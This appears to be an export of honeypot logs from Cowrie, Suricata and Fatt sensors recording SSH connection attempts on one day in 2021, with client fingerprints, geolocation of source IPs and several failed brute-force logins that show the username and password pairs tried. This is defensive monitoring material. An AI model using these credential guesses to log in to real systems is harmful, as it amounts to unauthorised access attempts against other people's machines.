24912	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:19.128422+03	2021-09-20 14:15:09.4145+03	{"_id": "wwblAnwBvYTbRNuEYBaa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37122, "timestamp": "2021-09-20T11:09:19.128422", "@timestamp": "2021-09-20T11:09:19.128Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24913	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:09:09.521132+03	2021-09-20 14:15:09.415508+03	{"_id": "5AblAnwBvYTbRNuEPBVo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1695495983766456, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 60496, "dest_port": 22, "timestamp": "2021-09-20T11:09:09.521132Z", "@timestamp": "2021-09-20T11:09:09.521Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24914	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:09.517338+03	2021-09-20 14:15:09.417501+03	{"_id": "6AblAnwBvYTbRNuEPRVo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38238, "timestamp": "2021-09-20T11:09:09.517338", "@timestamp": "2021-09-20T11:09:09.517Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24915	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:09:24.626297+03	2021-09-20 14:15:09.418501+03	{"_id": "XgblAnwBvYTbRNuEdxcK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 888780867563502, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner"]}, "src_port": 54072, "dest_port": 22, "timestamp": "2021-09-20T11:09:24.626297Z", "@timestamp": "2021-09-20T11:09:24.626Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24924	222.186.30.112	109.199.241.180	Cowrie	2021-09-20 14:09:25.6646+03	2021-09-20 14:15:09.429501+03	{"_id": "owblAnwBvYTbRNuEfBel", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "222.186.30.112", "asn": 23650, "as_org": "AS Number for CHINANET jiangsu province backbone", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "222.186.30.112", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "16805c024401", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:09:25.664600Z", "@timestamp": "2021-09-20T11:09:25.664Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24916	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:24.703826+03	2021-09-20 14:15:09.4195+03	{"_id": "YAblAnwBvYTbRNuEeBcR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41520, "timestamp": "2021-09-20T11:09:24.703826", "@timestamp": "2021-09-20T11:09:24.703Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24917	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:09:25.12556+03	2021-09-20 14:15:09.420502+03	{"_id": "fgblAnwBvYTbRNuEexf6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38712, "dest_port": 22, "timestamp": "2021-09-20T11:09:25.125560", "@timestamp": "2021-09-20T11:09:25.125Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24918	222.186.30.112	109.199.241.180	Cowrie	2021-09-20 14:09:25.661896+03	2021-09-20 14:15:09.4215+03	{"_id": "gQblAnwBvYTbRNuEfBel", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "222.186.30.112", "asn": 23650, "as_org": "AS Number for CHINANET jiangsu province backbone", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "222.186.30.112", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 222.186.30.112:57342 (192.168.176.2:22) [session: 16805c024401]", "session": "16805c024401", "@version": "1", "protocol": "ssh", "src_port": 57342, "dest_port": 22, "timestamp": "2021-09-20T11:09:25.661896Z", "@timestamp": "2021-09-20T11:09:25.661Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24919	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:25.884978+03	2021-09-20 14:15:09.423502+03	{"_id": "ggblAnwBvYTbRNuEfBel", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:54590 (192.168.176.2:22) [session: e5b879242978]", "session": "e5b879242978", "@version": "1", "protocol": "ssh", "src_port": 54590, "dest_port": 22, "timestamp": "2021-09-20T11:09:25.884978Z", "@timestamp": "2021-09-20T11:09:25.884Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24920	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:26.14881+03	2021-09-20 14:15:09.424507+03	{"_id": "gwblAnwBvYTbRNuEfBel", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:44696 (192.168.176.2:22) [session: 1693ec9b7520]", "session": "1693ec9b7520", "@version": "1", "protocol": "ssh", "src_port": 44696, "dest_port": 22, "timestamp": "2021-09-20T11:09:26.148810Z", "@timestamp": "2021-09-20T11:09:26.148Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24925	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:25.887943+03	2021-09-20 14:15:09.4305+03	{"_id": "pAblAnwBvYTbRNuEfBel", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "e5b879242978", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:25.887943Z", "@timestamp": "2021-09-20T11:09:25.887Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24926	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:25.914919+03	2021-09-20 14:15:09.4315+03	{"_id": "pQblAnwBvYTbRNuEfBel", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [5fe5d4/5fe5d4] failed", "session": "659f8c926cfe", "@version": "1", "password": "5fe5d4", "username": "5fe5d4", "timestamp": "2021-09-20T11:09:25.914919Z", "@timestamp": "2021-09-20T11:09:25.914Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24927	222.186.30.112	109.199.241.180	Cowrie	2021-09-20 14:09:25.921768+03	2021-09-20 14:15:09.433502+03	{"_id": "pgblAnwBvYTbRNuEfBel", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "222.186.30.112", "asn": 23650, "as_org": "AS Number for CHINANET jiangsu province backbone", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "222.186.30.112", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "16805c024401", "@version": "1", "timestamp": "2021-09-20T11:09:25.921768Z", "@timestamp": "2021-09-20T11:09:25.921Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24928	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:26.010313+03	2021-09-20 14:15:09.4345+03	{"_id": "pwblAnwBvYTbRNuEfBel", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/calvin] failed", "session": "8eec8129e441", "@version": "1", "password": "calvin", "username": "root", "timestamp": "2021-09-20T11:09:26.010313Z", "@timestamp": "2021-09-20T11:09:26.010Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24929	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:26.12061+03	2021-09-20 14:15:09.4355+03	{"_id": "qAblAnwBvYTbRNuEfBel", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [jacob/jacob] failed", "session": "3820d634de12", "@version": "1", "password": "jacob", "username": "jacob", "timestamp": "2021-09-20T11:09:26.120610Z", "@timestamp": "2021-09-20T11:09:26.120Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24930	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:26.157376+03	2021-09-20 14:15:09.4375+03	{"_id": "qQblAnwBvYTbRNuEfBel", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1693ec9b7520", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:26.157376Z", "@timestamp": "2021-09-20T11:09:26.157Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24931	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:26.166366+03	2021-09-20 14:15:09.4385+03	{"_id": "qgblAnwBvYTbRNuEfBel", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", 